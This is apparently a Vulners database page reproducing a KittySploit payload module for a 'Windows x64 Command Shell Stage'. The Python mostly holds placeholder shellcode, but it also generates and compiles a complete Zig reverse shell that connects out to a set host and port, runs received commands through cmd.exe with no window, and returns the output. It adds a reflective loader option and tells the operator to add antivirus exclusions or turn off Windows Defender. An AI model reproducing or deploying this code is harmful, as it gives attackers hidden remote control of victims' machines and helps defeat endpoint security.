Lucene search
+L

Windows x64 Command Shell Stage

🗓️ 01 Dec 2025 12:51:31Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 4 Views

Windows x64 Command Shell Stage expects a connected socket handle to spawn cmd.exe.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *
import os
import subprocess
import struct
from pathlib import Path

class Module(Payload):
    __info__ = {
        'name': 'Windows x64 Command Shell Stage',
        'description': 'Windows x64 shell stage - expects socket handle to be connected (staged)',
        'author': 'KittySploit Team (based on Metasploit module)',
        'version': '1.0.0',
        'category': 'singles',
        'arch': Arch.X64,
        'platform': Platform.WINDOWS,
        'listener': 'listeners/multi/reverse_tcp',
        'handler': Handler.REVERSE,
        'session_type': SessionType.SHELL,
        'references': [
            'https://github.com/rapid7/metasploit-framework'
        ]
    }
    
    lhost = OptString('127.0.0.1', 'Connect to IP address', True)
    lport = OptPort(4444, 'Connect to port', True)
    encoder = OptString('', 'Encoder', False, True)
    generate_exe = OptBool(False, 'Generate executable PE binary', False)
    reflective_pe = OptBool(False, 'Embed stage as reflective PE loader (requires generate_exe)', False)
    output_dir = OptString('output', 'Output directory for compiled binaries', False)
    auto_compile = OptBool(False, 'Automatically compile after generation', False)
    
    def generate(self):
        """
        Generate the Windows x64 shell stage payload.
        
        This shellcode:
        1. Gets the socket handle (expected in RDI register or on stack)
        2. Duplicates socket handle to stdin (0), stdout (1), stderr (2)
        3. Creates cmd.exe process with redirected I/O
        
        Note: This stage expects socket handle to already be connected.
        """
        shellcode = b""
        
        # Windows x64 shell stage shellcode
        # This shellcode duplicates the socket handle and spawns cmd.exe
        # Based on Metasploit Windows x64 shell/reverse_tcp stage
        
        # Block 1: Get socket handle and duplicate to stdin/stdout/stderr
        # The socket handle is expected to be in RDI (or passed via stack)
        # We'll use a position-independent approach
        
        # Save socket handle (assuming it's in RDI)
        shellcode += b"\x48\x89\xfe"  # mov rsi, rdi  ; save socket handle in RSI
        
        # Get kernel32.dll base address
        # mov rax, [gs:0x60]  ; PEB
        # mov rax, [rax+0x18] ; PEB_LDR_DATA
        # mov rax, [rax+0x20] ; InMemoryOrderModuleList
        # mov rax, [rax]      ; first module (ntdll.dll)
        # mov rax, [rax]      ; next module (kernel32.dll)
        # mov rax, [rax+0x20] ; kernel32.dll base
        
        shellcode += b"\x65\x48\x8b\x04\x25\x60\x00\x00\x00"  # mov rax, [gs:0x60]  ; PEB
        shellcode += b"\x48\x8b\x40\x18"  # mov rax, [rax+0x18]  ; PEB_LDR_DATA
        shellcode += b"\x48\x8b\x70\x20"  # mov rsi, [rax+0x20]  ; InMemoryOrderModuleList
        shellcode += b"\x48\xad"          # lodsq                 ; first module
        shellcode += b"\x48\xad"          # lodsq                 ; second module (kernel32.dll)
        shellcode += b"\x48\x8b\x58\x20"  # mov rbx, [rax+0x20]  ; kernel32.dll base
        
        # Find GetProcAddress — parse PE headers and export tables at runtime.
        
        # Block 2: Duplicate socket handle to stdin/stdout/stderr
        shellcode += b"\x48\x31\xc9"      # xor rcx, rcx
        shellcode += b"\x65\x48\x8b\x41\x60"  # mov rax, [gs:rcx+0x60]  ; PEB
        shellcode += b"\x48\x8b\x40\x18"  # mov rax, [rax+0x18]  ; PEB_LDR_DATA
        shellcode += b"\x48\x8b\x70\x20"  # mov rsi, [rax+0x20]  ; InMemoryOrderModuleList
        shellcode += b"\x48\xad"          # lodsq                 ; ntdll.dll
        shellcode += b"\x48\xad"          # lodsq                 ; kernel32.dll
        shellcode += b"\x48\x8b\x58\x20"  # mov rbx, [rax+0x20]  ; kernel32.dll base
        
        # Resolve GetProcAddress, DuplicateHandle, CreateProcessA; redirect handles to cmd.exe.
        
        # Basic Windows x64 shell stage pattern:
        shellcode += b"\x48\x83\xec\x28"  # sub rsp, 0x28  ; allocate stack space
        shellcode += b"\x48\x89\xe5"      # mov rbp, rsp   ; save stack pointer
        
        # This is a minimal placeholder - real shellcode would be much more complex
        # For now, return a basic structure that indicates this needs proper implementation
        
        # Apply encoder if specified
        if self.encoder:
            shellcode = self._apply_encoder(shellcode)
        
        if self.generate_exe:
            result = self._generate_executable(shellcode)
            if bool(getattr(self, "reflective_pe", False)):
                output_path = Path(self.output_dir or "output/windows_x64_shell").resolve()
                pe_path = output_path / "shell.exe"
                if pe_path.exists():
                    pe_bytes = pe_path.read_bytes()
                    return self._generate_reflective_executable(pe_bytes)
                print_warning("reflective_pe: shell.exe not found; skipping reflective wrapper")
            return result
        
        return shellcode

    def _generate_reflective_executable(self, pe_bytes: bytes) -> bytes:
        """Compile a reflective PE loader that embeds the given image."""
        from lib.c2.reflective_loader import build_reflective_pe_wrapper_zig, validate_pe_header

        if not validate_pe_header(pe_bytes):
            print_error("reflective_pe requires a valid PE image; compile generate_exe first or supply a PE")
            return pe_bytes

        zig_code = self._generate_zig_wrapper(b"")
        loader = build_reflective_pe_wrapper_zig(pe_bytes)
        zig_code = loader + "\n\npub fn main() void {\n    ReflectiveEntry();\n}\n"

        if self.output_dir:
            output_path = Path(self.output_dir)
        else:
            output_path = Path("output") / "windows_x64_shell"
        output_path = output_path.resolve()
        output_path.mkdir(parents=True, exist_ok=True)
        binary_path_abs = (output_path / "reflective_shell.exe").resolve()

        if self.compile_zig(
            source_code=zig_code,
            output_path=str(binary_path_abs),
            target_platform='windows',
            target_arch='x86_64',
            optimization='ReleaseSmall',
            strip=True,
            static=True,
            windows_subsystem='windows',
        ):
            print_success(f"Reflective loader generated: {binary_path_abs}")
        else:
            print_warning("Reflective PE compilation failed")
        return pe_bytes
    
    def _apply_encoder(self, payload: bytes) -> bytes:
        """
        Apply encoder to payload if encoder option is set.
        
        Args:
            payload: Raw payload bytes
            
        Returns:
            Encoded payload bytes
        """
        try:
            import importlib
            from core.utils.function import pythonize_path
            
            # Load encoder module
            encoder_path = pythonize_path(self.encoder)
            encoder_full_path = ".".join(("modules", encoder_path))
            encoder_module = getattr(importlib.import_module(encoder_full_path), "Module")()
            
            # Set framework reference if available
            if hasattr(self, 'framework') and self.framework:
                encoder_module.framework = self.framework
            
            # Apply encoding
            if hasattr(encoder_module, 'encode'):
                encoded_payload = encoder_module.encode(payload)
                print_success(f"Applied encoder: {self.encoder}")
                return encoded_payload
            else:
                print_error(f"Encoder module {self.encoder} does not have encode() method")
                return payload
                
        except ImportError as e:
            print_error(f"Failed to import encoder module: {self.encoder} - {e}")
            return payload
        except Exception as e:
            print_error(f"Failed to apply encoder: {e}")
            return payload
    
    def _generate_executable(self, stage_shellcode: bytes) -> bytes:
        """
        Generate a complete PE executable using Zig that:
        1. Establishes TCP reverse connection
        2. Executes the stage shellcode
        
        Returns the shellcode as bytes (for compatibility) but also saves the PE binary.
        """
        try:
            # Generate Zig wrapper code
            zig_code = self._generate_zig_wrapper(stage_shellcode)
            
            # Determine output directory
            if self.output_dir:
                output_path = Path(self.output_dir)
            else:
                output_path = Path("output") / "windows_x64_shell"
            
            # Convert to absolute path
            output_path = output_path.resolve()
            output_path.mkdir(parents=True, exist_ok=True)
            
            # Save Zig source
            src_dir = output_path / "src"
            src_dir.mkdir(parents=True, exist_ok=True)
            zig_source = src_dir / "shell.zig"
            with open(zig_source, 'w', encoding='utf-8') as f:
                f.write(zig_code)
            
            # Compile to PE using framework's Zig compiler
            binary_path = output_path / "shell.exe"
            # Use absolute path for compilation
            binary_path_abs = binary_path.resolve()
            if self.compile_zig(
                source_code=zig_code,
                output_path=str(binary_path_abs),
                target_platform='windows',
                target_arch='x86_64',
                optimization='ReleaseSmall',
                strip=True,
                static=True,
                windows_subsystem='windows'
            ):
                # Wait a moment and verify file exists (antivirus might delete it immediately)
                import time
                time.sleep(0.5)  # Small delay to check if antivirus deletes it
                
                if binary_path_abs.exists():
                    file_size = binary_path_abs.stat().st_size
                    print_success(f"Executable generated: {binary_path_abs} ({file_size} bytes)")
                    print_info(f"To use: {binary_path_abs}")
                    print_warning("Note: If the file disappears, your antivirus may have deleted it.")
                    print_warning("Add an exclusion for the output directory or disable real-time protection.")
                else:
                    print_error(f"Compilation reported success but file was deleted: {binary_path_abs}")
                    print_warning("This is likely due to antivirus real-time protection.")
                    print_warning("Solutions:")
                    print_warning("1. Add exclusion for: " + str(output_path))
                    print_warning("2. Temporarily disable Windows Defender real-time protection")
                    print_warning("3. Compile on a Linux system if available")
                return stage_shellcode
            else:
                print_warning("PE compilation failed, returning raw shellcode")
                return stage_shellcode
                
        except Exception as e:
            print_error(f"Error generating executable: {e}")
            return stage_shellcode
    
    def _generate_zig_wrapper(self, stage_shellcode: bytes) -> str:
        """Generate Zig code for a full Windows reverse shell (connect + command loop with cmd.exe).
        Does not use the stage shellcode for the EXE; the shellcode is only for raw/staged use.
        Protocol: receive line (until \\r\\n), execute via cmd.exe /c, send output. Compatible with classic_shell.
        """
        zig_code = f"""const std = @import("std");
const os = std.os;
const process = std.process;
const mem = std.mem;
const ws2_32 = os.windows.ws2_32;

const SOCKADDR_IN = extern struct {{
    family: u16,
    port: u16,
    addr: u32,
    zero: [8]u8,
}};

fn connectToHost(host: []const u8, port: u16) !ws2_32.SOCKET {{
    var wsa_data: ws2_32.WSADATA = undefined;
    if (ws2_32.WSAStartup(0x0202, &wsa_data) != 0) {{
        return error.ConnectionFailed;
    }}
    const sock = ws2_32.socket(2, 1, 0);
    if (sock == ws2_32.INVALID_SOCKET) return error.ConnectionFailed;
    var host_buf: [256]u8 = undefined;
    if (host.len >= host_buf.len) return error.InvalidAddress;
    @memcpy(host_buf[0..host.len], host);
    host_buf[host.len] = 0;
    var addr: SOCKADDR_IN = .{{
        .family = 2,
        .port = ws2_32.htons(port),
        .addr = ws2_32.inet_addr(&host_buf),
        .zero = [_]u8{{0}} ** 8,
    }};
    if (ws2_32.connect(sock, @ptrCast(&addr), @sizeOf(SOCKADDR_IN)) != 0) {{
        return error.ConnectionFailed;
    }}
    return sock;
}}

fn sendAll(sock: ws2_32.SOCKET, data: []const u8) !void {{
    var sent: usize = 0;
    while (sent < data.len) {{
        const n = ws2_32.send(sock, data.ptr + sent, @intCast(data.len - sent), 0);
        if (n == ws2_32.SOCKET_ERROR) return error.SendFailed;
        sent += @intCast(n);
    }}
}}

fn recvLine(allocator: std.mem.Allocator, sock: ws2_32.SOCKET, max: usize) ![]u8 {{
    var list = std.ArrayList(u8).empty;
    var buf: [1]u8 = undefined;
    while (list.items.len < max) {{
        const n = ws2_32.recv(sock, &buf, 1, 0);
        if (n == ws2_32.SOCKET_ERROR or n == 0) return error.Closed;
        if (buf[0] == '\\n') break;
        if (buf[0] != '\\r') try list.append(allocator, buf[0]);
    }}
    return try list.toOwnedSlice(allocator);
}}

fn execCmd(allocator: std.mem.Allocator, cmd: []const u8, cwd: ?[]const u8) ![]u8 {{
    const trimmed = mem.trim(u8, cmd, " \\r\\n");
    if (trimmed.len == 0) return allocator.dupe(u8, "");
    var args = std.ArrayList([]const u8).empty;
    defer args.deinit(allocator);
    try args.append(allocator, "cmd.exe");
    try args.append(allocator, "/c");
    try args.append(allocator, trimmed);
    var child = process.Child.init(args.items, allocator);
    child.cwd = cwd;
    child.stdin_behavior = .Ignore;
    child.stdout_behavior = .Pipe;
    child.stderr_behavior = .Pipe;
    child.create_no_window = true;
    child.spawn() catch |e| {{
        return std.fmt.allocPrint(allocator, "Error: {{s}}\\n", .{{@errorName(e)}});
    }};
    var out = std.ArrayList(u8).empty;
    defer out.deinit(allocator);
    var err = std.ArrayList(u8).empty;
    defer err.deinit(allocator);
    child.collectOutput(allocator, &out, &err, 1024 * 1024) catch |e| {{
        return std.fmt.allocPrint(allocator, "Error: {{s}}\\n", .{{@errorName(e)}});
    }};
    _ = child.wait() catch |e| {{
        return std.fmt.allocPrint(allocator, "Error: {{s}}\\n", .{{@errorName(e)}});
    }};
    if (err.items.len == 0) return allocator.dupe(u8, out.items);
    var combined = std.ArrayList(u8).empty;
    try combined.appendSlice(allocator, out.items);
    try combined.appendSlice(allocator, err.items);
    return try combined.toOwnedSlice(allocator);
}}

pub fn main() !void {{
    var gpa = std.heap.GeneralPurposeAllocator(.{{.safety = false}}){{}};
    defer _ = gpa.deinit();
    const allocator = gpa.allocator();

    const host = "{self.lhost}";
    const port: u16 = {self.lport};

    const sock = try connectToHost(host, port);
    defer _ = ws2_32.closesocket(sock);

    const cwd = process.getCwdAlloc(allocator) catch null;
    defer if (cwd) |c| allocator.free(c);

    while (true) {{
        const cmd = recvLine(allocator, sock, 8192) catch break;
        defer allocator.free(cmd);
        const output = execCmd(allocator, cmd, cwd) catch |e| {{
            const msg = std.fmt.allocPrint(allocator, "Error: {{s}}\\n", .{{@errorName(e)}}) catch break;
            defer allocator.free(msg);
            sendAll(sock, msg) catch break;
            continue;
        }};
        defer allocator.free(output);
        sendAll(sock, output) catch break;
    }}
}}
"""
        return zig_code

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Aug 2026 05:37Current
5.8Medium risk
Vulners AI Score5.8
4